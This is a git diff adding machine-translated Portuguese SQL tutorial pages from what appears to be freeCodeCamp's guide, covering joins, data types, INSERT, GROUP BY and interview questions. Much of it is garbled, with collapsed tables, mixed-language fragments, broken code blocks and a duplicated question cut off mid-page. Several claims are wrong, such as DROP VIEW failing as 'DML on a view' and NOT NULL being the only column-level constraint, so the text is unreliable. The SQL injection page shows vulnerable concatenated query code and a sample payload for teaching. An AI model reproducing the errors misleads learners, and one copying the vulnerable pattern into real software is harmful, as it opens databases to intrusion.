+Eles também ajudam a evitar a inserção de dados imprecisos na tabela filha, exigindo que exista um registro de tabela pai para cada registro inserido na tabela filha.
+
+### Exemplo de uso
+
+Para este guia, vamos dar uma olhada mais de perto nas tabelas de alunos (pais) e de alunos (child).
+
+### A chave primária da tabela pai
+
+Observe que a tabela do aluno tem uma chave primária de uma coluna de studentID.
+
+```sql
+SHOW index FROM student; 
+```
+
+```text
++---------+------------+----------+--------------+-------------+ 
+ | Table   | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +---------+------------+----------+--------------+-------------+ 
+ | student |          0 | PRIMARY  |            1 | studentID   | 
+ +---------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+```
+
+### Chaves primárias e externas da tabela filho
+
+A tabela de informações de contato do aluno possui uma chave primária que também é o studentID. Isso ocorre porque há um relacionamento um-para-um entre as duas tabelas. Em outras palavras, esperamos apenas um registro de contato de aluno e um aluno por aluno.
+
+```sql
+SHOW index FROM `student-contact-info`; 
+```
+
+```text
++----------------------+------------+----------+--------------+-------------+ 
+ | Table                | Non_unique | Key_name | Seq_in_index | Column_name | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ | student-contact-info |          0 | PRIMARY  |            1 | studentID   | 
+ +----------------------+------------+----------+--------------+-------------+ 
+ 1 row in set (0.00 sec) (some columns removed on the right for clarity) 
+```
+
+```sql
+SELECT concat(table_name, '.', column_name) AS 'foreign key', 
+ concat(referenced_table_name, '.', referenced_column_name) AS 'references' 
+ FROM information_schema.key_column_usage 
+ WHERE referenced_table_name IS NOT NULL 
+ AND table_schema = 'fcc_sql_guides_database' 
+ AND table_name = 'student-contact-info'; 
+```
+
+```text
++--------------------------------+-------------------+ 
+ | foreign key                    | references        | 
+ +--------------------------------+-------------------+ 
+ | student-contact-info.studentID | student.studentID | 
+ +--------------------------------+-------------------+ 
+ 1 row in set (0.00 sec) 
+```
+
+### Exemplo de relatório usando a tabela pai do aluno e a tabela filha de contato
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+```text
++-----------+------------------------+------------------+--------------------+--------------------+ 
+ | studentID | FullName               | programOfStudy   | student-phone-cell | student-US-zipcode | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+ |         1 | Monique Davis          | Literature       | 555-555-5551       |              97111 | 
+ |         2 | Teri Gutierrez         | Programming      | 555-555-5552       |              97112 | 
+ |         3 | Spencer Pautier        | Programming      | 555-555-5553       |              97113 | 
+ |         4 | Louis Ramsey           | Programming      | 555-555-5554       |              97114 | 
+ |         5 | Alvin Greene           | Programming      | 555-555-5555       |              97115 | 
+ |         6 | Sophie Freeman         | Programming      | 555-555-5556       |              97116 | 
+ |         7 | Edgar Frank "Ted" Codd | Computer Science | 555-555-5557       |              97117 | 
+ |         8 | Donald D. Chamberlin   | Computer Science | 555-555-5558       |              97118 | 
+ +-----------+------------------------+------------------+--------------------+--------------------+ 
+```
+
+### Conclusão
+
+Restrições de chave estrangeira são uma ótima ferramenta de integridade de dados. Aproveite o tempo para aprendê-las bem.
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-general-data-types/index.md b/client/src/guide/portuguese/sql/sql-general-data-types/index.md
new file mode 100644
index 0000000000..6e927ef8f2
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-general-data-types/index.md
@@ -0,0 +1,36 @@
+---
+title: SQL General Data Types
+localeTitle: Tipos de dados gerais do SQL
+---
+## Tipos de dados gerais do SQL
+
+# Tipos de dados SQL
+
+Cada coluna em uma tabela de banco de dados precisa ter um nome e um tipo de dados.
+
+Um desenvolvedor de SQL deve decidir que tipo de dados serão armazenados dentro de cada coluna ao criar uma tabela. O tipo de dados é uma diretriz para o SQL entender que tipo de dados é esperado dentro de cada coluna e também identifica como o SQL irá interagir com os dados armazenados.
+
+# Tipos de dados do MySQL
+
+Os tipos de dados gerais do SQL consistem no seguinte:
+
+1.  Um valor baseado em texto e / ou numérico, geralmente chamado de STRING
+2.  Um valor somente numérico, geralmente chamado de INTEGER
+3.  Um valor com base no calendário e / ou no relógio, muitas vezes referido como DATE ou TIME
+4.  Um valor específico do banco de dados, como um sinalizador booleano (duas opções), uma matriz que armazena vários valores em um ponto de dados
+
+## Tipos de dados de texto:
+
+| Tipo de dados | Descrição | | ------------- |: -------------: | | CHAR (tamanho) | Mantém uma cadeia de comprimento fixo (pode conter letras, números e caracteres especiais). O tamanho fixo é especificado entre parênteses. Pode armazenar até 255 caracteres | | VARCHAR (tamanho) | Mantém uma cadeia de comprimento variável (pode conter letras, números e caracteres especiais). O tamanho máximo é especificado entre parênteses. Pode armazenar até 255 caracteres. Nota: Se você colocar um valor maior que 255, ele será convertido em um tipo de TEXTO | | TINYTEXT | Mantém uma cadeia com um comprimento máximo de 255 caracteres | | TEXTO | Contém uma string com um comprimento máximo de 65.535 caracteres | | BLOB | Para BLOBs (Binary Large OBjects). Armazena até 65.535 bytes de dados | | MEDIUMTEXT | Contém uma string com um comprimento máximo de 16.777.215 caracteres | | MEDIUMBLOB | Para BLOBs (Binary Large OBjects). Armazena até 16.777.215 bytes de dados | | LONGTEXT | Contém uma string com um tamanho máximo de 4.294.967.295 caracteres | | LONGBLOB | Para BLOBs (Binary Large OBjects). Detém até 4.294.967.295 bytes de dados | | ENUM (x, y, z, etc) | Deixe você inserir uma lista de valores possíveis. Você pode listar até 65535 valores em uma lista ENUM. Se um valor inserido não estiver na lista, um valor em branco será inserido. Nota: Os valores são classificados na ordem em que você os insere. Você insere os valores possíveis neste formato: ENUM ('X', 'Y', 'Z') | | SET | Semelhante ao ENUM, exceto que o SET pode conter até 64 itens de lista e pode armazenar mais de uma opção |
+
+# Tipos de dados numéricos:
+
+| Tipo de dados | Descrição | | ------------- |: -------------: | | TINYINT (tamanho) | -128 a 127 normal. 0 a 255 NÃO ASSINADO _. O número máximo de dígitos pode ser especificado entre parênteses | | SMALLINT (tamanho) | -32768 a 32767 normal. 0 a 65535 NÃO ASSINADO_ . O número máximo de dígitos pode ser especificado entre parênteses | | MEDIUMINT (tamanho) | -8388608 a 8388607 normal. 0 a 16777215 NÃO ASSINADO _. O número máximo de dígitos pode ser especificado entre parênteses | | INT (tamanho) | -2147483648 a 2147483647 normal. 0 a 4294967295 NÃO ASSINADO_ . O número máximo de dígitos pode ser especificado entre parênteses | | BIGINT (tamanho) | -9223372036854775808 para 9223372036854775807 normal. 0 a 18446744073709551615 NÃO ASSINADO \*. O número máximo de dígitos pode ser especificado entre parênteses | | FLOAT (tamanho, d) | Um pequeno número com um ponto decimal flutuante. O número máximo de dígitos pode ser especificado no parâmetro de tamanho. O número máximo de dígitos à direita do ponto decimal é especificado no parâmetro d | | DUPLO (tamanho, d) | Um grande número com um ponto decimal flutuante. O número máximo de dígitos pode ser especificado no parâmetro de tamanho. O número máximo de dígitos à direita do ponto decimal é especificado no parâmetro d | | DECIMAL (tamanho, d) | Um DOUBLE armazenado como uma string, permitindo um ponto decimal fixo. O número máximo de dígitos pode ser especificado no parâmetro de tamanho. O número máximo de dígitos à direita do ponto decimal é especificado no parâmetro d |
+
+# Tipos de dados de data:
+
+| Tipo de dados | Descrição | | ------------- |: -------------: | | DATA () | Um encontro. Formato: AAAA-MM-DD Nota: O intervalo suportado é de '1000-01-01' a '9999-12-31' | | DATETIME () | Uma combinação de data e hora. Formato: AAAA-MM-DD HH: MI: SS Nota: O intervalo suportado é de '1000-01-01 00:00:00' a '9999-12-31 23:59:59' | | TIMESTAMP () | Um timestamp. Os valores de TIMESTAMP são armazenados como o número de segundos desde a época do Unix ('1970-01-01 00:00:00' UTC). Formato: AAAA-MM-DD HH: MI: SS Nota: O intervalo suportado é de '1970-01-01 00:00:01' UTC para '2038-01-09 03:14:07' UTC | | TIME () | Um tempo. Formato: HH: MI: SS Nota: O intervalo suportado é de '-838: 59: 59' a '838: 59: 59' | | ANO () | Um ano no formato de dois dígitos ou quatro dígitos. Nota: Valores permitidos no formato de quatro dígitos: 1901 a 2155. Valores permitidos no formato de dois dígitos: 70 a 69, representando anos de 1970 a 2069 |
+
+#### Mais Informações:
+
+Mais informações sobre os tipos de dados específicos em SQL podem ser encontradas na seção [SQL Data Types](https://guide.freecodecamp.org/sql/sql-data-types/) do freeCodeCamp.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-group-by-statement/index.md b/client/src/guide/portuguese/sql/sql-group-by-statement/index.md
new file mode 100644
index 0000000000..dbb157516d
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-group-by-statement/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Group By Statement
+localeTitle: Grupo SQL por declaração
+---
+## Grupo SQL por Statemet
+
+### Exemplo de uso
+
+GROUP BY nos dá uma maneira de combinar linhas e agregar dados.
+
+Os dados usados ​​são dos dados das contribuições da campanha que estamos usando em alguns desses guias.
+
+A seguinte instrução SQL está respondendo à pergunta: "quais candidatos receberam as maiores contribuições totais em 2016, mas apenas aqueles que tiveram mais de US $ 20 milhões?"
+
+A ordenação desse conjunto de dados em uma ordem descendente (DESC) coloca os candidatos com as maiores contribuições totais no topo da lista.
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-having-clause/index.md b/client/src/guide/portuguese/sql/sql-having-clause/index.md
new file mode 100644
index 0000000000..9a119deb45
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-having-clause/index.md
@@ -0,0 +1,47 @@
+---
+title: SQL Having Clause
+localeTitle: SQL tendo cláusula
+---
+## SQL tendo cláusula
+
+O HAVING oferece ao programador DBA ou SQL uma maneira de filtrar os dados agregados pela cláusula GROUP BY para que o usuário obtenha um conjunto limitado de registros para visualização.
+
+### Exemplo de uso
+
+A cláusula HAVING é como a cláusula WHERE, exceto que ela age nos dados agrupados. Nesse caso, o usuário verá apenas os maiores valores.
+
+Esses dados são dos dados das contribuições da campanha que estamos usando em alguns desses guias.
+
+Esta declaração SQL está respondendo à pergunta: "quais candidatos receberam as maiores contribuições totais em 2016, MAS apenas aqueles que tiveram mais de 8 $ 20 milhões de USD?"
+
+A ordenação desse conjunto de dados em uma ordem descendente (DESC) coloca os candidatos com as maiores contribuições totais no topo da lista.
+
+```sql
+SELECT Candidate, Election_year, sum(Total_$), count(*) 
+ FROM combined_party_data 
+ WHERE Election_year = 2016 
+ GROUP BY Candidate, Election_year -- this tells the DBMS to summarize by these two columns 
+ HAVING sum(Total_$) > 20000000  -- limits the rows presented from the summary of money ($20 Million USD) 
+ ORDER BY sum(Total_$) DESC; -- orders the presented rows with the largest ones first. 
+```
+
+```text
++--------------------------------------------------+---------------+-------------------+----------+ 
+ | Candidate                                        | Election_year | sum(Total_$)      | count(*) | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ | CLINTON, HILLARY RODHAM & KAINE, TIMOTHY M (TIM) |          2016 | 568135094.4400003 |      126 | 
+ | TRUMP, DONALD J & PENCE, MICHAEL R (MIKE)        |          2016 | 366853142.7899999 |      114 | 
+ | SANDERS, BERNARD (BERNIE)                        |          2016 |      258562022.17 |      122 | 
+ | CRUZ, RAFAEL EDWARD (TED)                        |          2016 | 93430700.29000005 |      104 | 
+ | CARSON, BENJAMIN S (BEN)                         |          2016 | 62202411.12999996 |       93 | 
+ | RUBIO, MARCO ANTONIO                             |          2016 |        44384313.9 |      106 | 
+ | BUSH, JOHN ELLIS (JEB)                           |          2016 |       34606731.78 |       97 | 
+ +--------------------------------------------------+---------------+-------------------+----------+ 
+ 7 rows in set (0.01 sec) 
+```
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-in-operator/index.md b/client/src/guide/portuguese/sql/sql-in-operator/index.md
new file mode 100644
index 0000000000..30a991830a
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-in-operator/index.md
@@ -0,0 +1,53 @@
+---
+title: SQL In Operator
+localeTitle: SQL no operador
+---
+## SQL no operador
+
+## IN Operador definido
+
+O operador `IN` é usado em um `WHERE` ou `HAVING` (como parte do `GROUP BY` ) para limitar as linhas selecionadas aos itens "IN" em uma lista.
+
+Aqui está a lista atual de alunos completa para comparar com o conjunto de resultados da cláusula `WHERE` :
+
+```sql
+select studentID, FullName, sat_score, rcd_updated from student; 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         1 | Monique Davis          |       400 | 2017-08-16 15:34:50 | 
+ |         2 | Teri Gutierrez         |       800 | 2017-08-16 15:34:50 | 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         4 | Louis Ramsey           |      1200 | 2017-08-16 15:34:50 | 
+ |         5 | Alvin Greene           |      1200 | 2017-08-16 15:34:50 | 
+ |         6 | Sophie Freeman         |      1200 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 9 rows in set (0.00 sec) 
+```
+
+Serão apresentadas linhas que tenham uma pontuação SAT nesta lista (1000, 2400):
+
+```sql
+select studentID, FullName, sat_score, rcd_updated 
+ from student 
+ where sat_score in (1000, 2400); 
+```
+
+```text
++-----------+------------------------+-----------+---------------------+ 
+ | studentID | FullName               | sat_score | rcd_updated         | 
+ +-----------+------------------------+-----------+---------------------+ 
+ |         3 | Spencer Pautier        |      1000 | 2017-08-16 15:34:50 | 
+ |         7 | Edgar Frank "Ted" Codd |      2400 | 2017-08-16 15:35:33 | 
+ |         8 | Donald D. Chamberlin   |      2400 | 2017-08-16 15:35:33 | 
+ |         9 | Raymond F. Boyce       |      2400 | 2017-08-16 15:35:33 | 
+ +-----------+------------------------+-----------+---------------------+ 
+ 4 rows in set (0.00 sec) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-injection/index.md b/client/src/guide/portuguese/sql/sql-injection/index.md
new file mode 100644
index 0000000000..5316f76ddb
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-injection/index.md
@@ -0,0 +1,21 @@
+---
+title: SQL Injection
+localeTitle: Injeção SQL
+---
+## Injeção SQL
+
+A injeção de SQL é uma técnica mal-intencionada destinada a comprometer ou destruir bancos de dados. É uma das técnicas mais comuns de web-hacking.
+
+A injeção de SQL é executada colocando códigos maliciosos nas instruções SQL por meio de uma entrada.
+
+O exemplo a seguir é um snippet de código que recuperará um usuário de um banco de dados com base em um `AccountId` .
+```
+passedInAccountId = getRequestString("AccountId"); 
+ sql = "select * from Accounts where AccountId = " + passedInAccountId; 
+```
+
+A injeção de SQL pode ser usada para comprometer esse código, injetando um `1=1;` declaração para `AccountId` .
+
+`https://www.foo.com/get-user?AccountId="105 OR 1=1;"`
+
+`1=1` será sempre avaliado como `TRUE` . Isso fará com que o código executado produza toda a tabela Contas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-inner-join-keyword/index.md b/client/src/guide/portuguese/sql/sql-inner-join-keyword/index.md
new file mode 100644
index 0000000000..5cf33da3f2
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-inner-join-keyword/index.md
@@ -0,0 +1,52 @@
+---
+title: SQL Inner Join Keyword
+localeTitle: Palavra-chave de associação interna do SQL
+---
+## Palavra-chave de associação interna do SQL
+
+### Exemplo de uso
+
+Para este guia, discutiremos as junções SQL (INNER)
+
+### Junte-se (mesmo que a junção interna)
+
+A tabela do aluno estará na cláusula FROM, portanto, será uma tabela inicial ou LEFT.
+
+Vamos nos juntar à tabela de contatos dos alunos ou à tabela DIREITA. Você verá que todos os alunos aparecem que também estão na tabela de contatos. Conforme mostrado nas tabelas abaixo, o studentID 9 está na tabela do aluno, mas NÃO na tabela de contatos, portanto, não aparecerá em uma junção.
+
+Instrução SQL
+
+```sql
+SELECT a.studentID, a.FullName, a.programOfStudy, 
+ b.`student-phone-cell`, b.`student-US-zipcode` 
+ FROM student AS a 
+ INNER JOIN `student-contact-info` AS b ON a.studentID = b.studentID; 
+```
+
+Dados "cadastrados" \`\` \`text + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | studentID | FullName | programOfStudy | estudante-telefone-celular | student-US-zipcode | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- + | 1 | Monique Davis | Literatura 555-555-5551 | 97111 | | 2 | Teri Gutierrez | Programação | 555-555-5552 | 97112 | | 3 | Spencer Pautier | Programação | 555-555-5553 | 97113 | | 4 | Louis Ramsey | Programação | 555-555-5554 | 97114 | | 5 | Alvin Greene | Programação | 555-555-5555 | 97115 | | 6 | Sophie Freeman | Programação | 555-555-5556 | 97116 | | 7 | Edgar Frank "Ted" Codd | Ciência da Computação | 555-555-5557 | 97117 | | 8 | Donald D. Chamberlin | Ciência da Computação | 555-555-5558 | 97118 | + ----------- + ------------------------ + ------------ ------ + -------------------- + -------------------- +
+```
+### Complete table listings for reference 
+ 
+ Student table SQL 
+```
+
+sql SELECT a.studentID, a.FullName, sat\_score, a.programOfStudy, schoolEmailAdr DE estudante COMO;
+```
+student or LEFT table 
+```
+
+texto + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | studentID | FullName | sat\_score | programOfStudy | schoolEmailAdr | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + | 1 | Monique Davis | 400 | Literatura Monique@someSchool.edu | | 2 | Teri Gutierrez | 800 | Programação | Teri@someSchool.edu | | 3 | Spencer Pautier | 1000 | Programação | Spencer@someSchool.edu | | 4 | Louis Ramsey | 1200 | Programação | Louis@someSchool.edu | | 5 | Alvin Greene | 1200 | Programação | Alvin@someSchool.edu | | 6 | Sophie Freeman | 1200 | Programação | Sophie@someSchool.edu | | 7 | Edgar Frank "Ted" Codd | 2400 | Ciência da Computação | Edgar@someSchool.edu | | 8 | Donald D. Chamberlin | 2400 | Ciência da Computação | Donald@someSchool.edu | | 9 | Raymond F. Boyce | 2400 | Ciência da Computação | Raymond@someSchool.edu | + ----------- + ------------------------ + ----------- + ------------------ + ------------------------ + 9 linhas no set (0,00 seg)
+
+```sql
+SELECT * FROM `student-contact-info` AS b; 
+```
+
+mesa de contato do estudante ou mesa DIREITA `text +-----------+----------------------------------+--------------------+--------------------+ | studentID | studentEmailAddr | student-phone-cell | student-US-zipcode | +-----------+----------------------------------+--------------------+--------------------+ | 1 | Monique.Davis@freeCodeCamp.org | 555-555-5551 | 97111 | | 2 | Teri.Gutierrez@freeCodeCamp.org | 555-555-5552 | 97112 | | 3 | Spencer.Pautier@freeCodeCamp.org | 555-555-5553 | 97113 | | 4 | Louis.Ramsey@freeCodeCamp.org | 555-555-5554 | 97114 | | 5 | Alvin.Green@freeCodeCamp.org | 555-555-5555 | 97115 | | 6 | Sophie.Freeman@freeCodeCamp.org | 555-555-5556 | 97116 | | 7 | Maximo.Smith@freeCodeCamp.org | 555-555-5557 | 97117 | | 8 | Michael.Roach@freeCodeCamp.ort | 555-555-5558 | 97118 | +-----------+----------------------------------+--------------------+--------------------+ 8 rows in set (0.00 sec)`
+
+### Conclusão
+
+Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório.
+
+Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-insert-into-select-statement/index.md b/client/src/guide/portuguese/sql/sql-insert-into-select-statement/index.md
new file mode 100644
index 0000000000..e051a4012d
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-insert-into-select-statement/index.md
@@ -0,0 +1,26 @@
+---
+title: SQL Insert into Select Statement
+localeTitle: Inserir SQL na instrução Select
+---
+## Inserir SQL na instrução Select
+
+Você pode inserir registros em uma tabela usando dados que já estão armazenados no banco de dados. Esta é apenas uma cópia dos dados e não afeta a tabela de origem.
+
+A `INSERT INTO SELECT` combina instruções `INSERT INTO` e `SELECT` e você pode usar qualquer condição desejada. A sintaxe é:
+
+```sql
+INSERT INTO table2 (column1, column2, column3, ...) 
+ SELECT column1, column2, column3, ... 
+ FROM table1 
+ WHERE condition; 
+```
+
+Aqui está um exemplo que insere na tabela Pessoa todos os alunos do sexo masculino da tabela Alunos.
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ SELECT Id, Name, DateOfBirth, Gender 
+ FROM Students 
+ WHERE Gender = 'M' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-insert-into-statement/index.md b/client/src/guide/portuguese/sql/sql-insert-into-statement/index.md
new file mode 100644
index 0000000000..eea3cce81f
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-insert-into-statement/index.md
@@ -0,0 +1,45 @@
+---
+title: SQL Insert into Statement
+localeTitle: Inserção de SQL no Statement
+---
+## Inserção de SQL no Statement
+
+Para inserir um registro em uma tabela, use a `INSERT INTO` .
+
+Você pode fazer isso de duas maneiras, se quiser inserir valores apenas em algumas colunas, é necessário listar seus nomes, incluindo todas as colunas obrigatórias. A sintaxe é:
+
+```sql
+INSERT INTO table_name (column1, column2, column3, ...) 
+ VALUES (value1, value2, value3, ...); 
+```
+
+A outra maneira é inserir valores em todas as colunas da tabela, não é necessário especificar os nomes das colunas. A sintaxe é:
+
+```sql
+INSERT INTO table_name 
+ VALUES (value1, value2, value3, ...); 
+```
+
+Aqui está um exemplo inserindo um registro na tabela Person nos dois sentidos:
+
+```sql
+INSERT INTO Person 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+```
+
+E
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'); 
+```
+
+Algumas versões SQL (por exemplo, MySQL) suportam a inserção de várias linhas de uma só vez. Por exemplo:
+
+```sql
+INSERT INTO Person(Id, Name, DateOfBirth, Gender) 
+ VALUES (1, 'John Lennon', '1940-10-09', 'M'), (2, 'Paul McCartney', '1942-06-18', 'M'), 
+ (3, 'George Harrison', '1943-02-25', 'M'), (4, 'Ringo Starr', '1940-07-07', 'M') 
+```
+
+Observe que toda a consulta original permanece intacta. Simplesmente adicionamos linhas de dados codificadas por parantesias e separadas por vírgulas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-insert-query/index.md b/client/src/guide/portuguese/sql/sql-insert-query/index.md
new file mode 100644
index 0000000000..542b26eb72
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-insert-query/index.md
@@ -0,0 +1,29 @@
+---
+title: SQL Insert Query
+localeTitle: Consulta de Inserção SQL
+---
+## Consulta de Inserção SQL
+
+Inserir consultas são uma maneira de inserir dados em uma tabela. Vamos supor que criamos uma tabela usando
+
+`CREATE TABLE example_table ( name varchar(255), age int)`
+
+**example\_table**
+
+| Nome | Idade | | --- | --- |
+
+Agora, para adicionar alguns dados a esta tabela, usaremos o **INSERT** da seguinte maneira:
+
+`INSERT INTO example_table (column1,column2) VALUES ("Andrew",23)`
+
+**example\_table**
+
+| Nome | Idade | | --- | --- | | Andrew | 23 |
+
+Mesmo o seguinte funcionará, mas é sempre uma boa prática especificar quais dados estão indo para qual coluna.
+
+`INSERT INTO table_name VALUES ("John", 28)`
+
+**example\_table**
+
+| Nome | Idade | | --- | --- | | Andrew | 23 | | John | 28 |
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-interview-questions/index.md b/client/src/guide/portuguese/sql/sql-interview-questions/index.md
new file mode 100644
index 0000000000..3cf985cee4
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-interview-questions/index.md
@@ -0,0 +1,125 @@
+---
+title: SQL Interview Questions
+localeTitle: Perguntas da entrevista do SQL
+---
+## Perguntas da entrevista do SQL
+
+### O que é uma junção interna no SQL?
+
+Este é o tipo padrão de junção se nenhuma junção for especificada. Ele retorna todas as linhas nas quais há pelo menos uma correspondência nas duas tabelas.
+
+```sql
+SELECT * FROM A x JOIN B y ON y.aId = x.Id 
+```
+
+### O que é uma junção esquerda no SQL?
+
+Uma junção esquerda retorna todas as linhas da tabela à esquerda e as linhas correspondentes da tabela da direita. Linhas na tabela da esquerda serão retornadas mesmo se não houver correspondência na tabela à direita. As linhas da tabela à esquerda sem correspondência na tabela à direita terão `null` para os valores da tabela à direita.
+
+```sql
+SELECT * FROM A x LEFT JOIN B y ON y.aId = x.Id 
+```
+
+### O que é uma junção certa no SQL?
+
+Uma junção direita retorna todas as linhas da tabela da direita e as linhas correspondentes da tabela da esquerda. Oposto a uma junção esquerda, isso retornará todas as linhas da tabela da direita, mesmo quando não houver correspondência na tabela à esquerda. As linhas na tabela da direita que não tiverem correspondência na tabela à esquerda terão valores `null` para as colunas da tabela à esquerda.
+
+```sql
+SELECT * FROM A x RIGHT JOIN B y ON y.aId = x.Id 
+```
+
+### O que é uma junção completa no SQL?
+
+Uma junção completa retorna todas as linhas para as quais há correspondência em qualquer uma das tabelas. Portanto, se houver linhas na tabela à esquerda que não tenham correspondências na tabela à direita, elas serão incluídas. Assim como se houver linhas na tabela da direita que não tenham correspondências na tabela à esquerda, elas serão incluídas.
+
+```sql
+SELECT Customers.CustomerName, Orders.OrderID 
+ FROM Customers 
+ FULL OUTER JOIN Orders 
+ ON Customers.CustomerID=Orders.CustomerID 
+ ORDER BY Customers.CustomerName 
+```
+
+### Qual é o resultado do seguinte comando?
+
+\`\` \` DROP VIEW view\_name
+```
+Here it'll be an error because we can't perform a DML operation on a view. 
+ 
+ ### Can we perform a rollback after using ALTER command? 
+ No, because ALTER is a DDL command and Oracle server performs an automatic COMMIT when the DDL statements are executed. 
+ 
+ 
+ ### Which is the only constraint that enforces rules at column level? 
+ NOT NULL is the only constraint that works at the column level. 
+ 
+ 
+ ### What are the pseudocolumns in SQL? Give some examples? 
+ A pseudocolumn is a function which returns a system generated value. The reason it is known as so because a pseudocolumn is an Oracle assigned value used in the same context as an Oracle database column but not stored on disk. 
+```
+
+Alguns exemplos são: ROWNUM, ROWID, USER, CURRVAL, NEXTVAL etc. \`\` \`
+
+### Crie um usuário my723acct com a senha kmd26pt. Use os _espaços de tabela de dados_ do usuário _e de dados temporários fornecidos pelo PO8 e forneça a esse usuário 10M de espaço de armazenamento em_ dados do _usuário_ e 5M de espaço de armazenamento em temporary\_data.
+
+`sql CREATE USER my723acct IDENTIFIED BY kmd26pt DEFAULT TABLESPACE user_data TEMPORARY TABLESPACE temporary_data QUOTA 10M on user_data QUOTA 5M on temporary_data`
+
+### Crie as _tabelas de_ função de função e\_views.
+
+`sql CREATE ROLE role_tables_and_views`
+
+### Conceda à função da pergunta anterior os privilégios para se conectar ao banco de dados e os privilégios para criar tabelas e visualizações.
+
+O privilégio de se conectar ao banco de dados é CREATE SESSION O privilégio de criar tabela é CREATE TABLE O privilégio de criar uma visão é CREATE VIEW `sql GRANT Create session, create table, create view TO role_tables_and_views`
+
+### Conceda o papel anterior na questão para os usuários anny e rita
+
+`sql GRANT role_tables_and_views TO anny, rita`
+
+### Crie um usuário my723acct com a senha kmd26pt. Use os _espaços de tabela de dados_ do usuário _e de dados temporários fornecidos pelo PO8 e forneça a esse usuário 10M de espaço de armazenamento em_ dados do _usuário_ e 5M de espaço de armazenamento em temporary\_data.
+
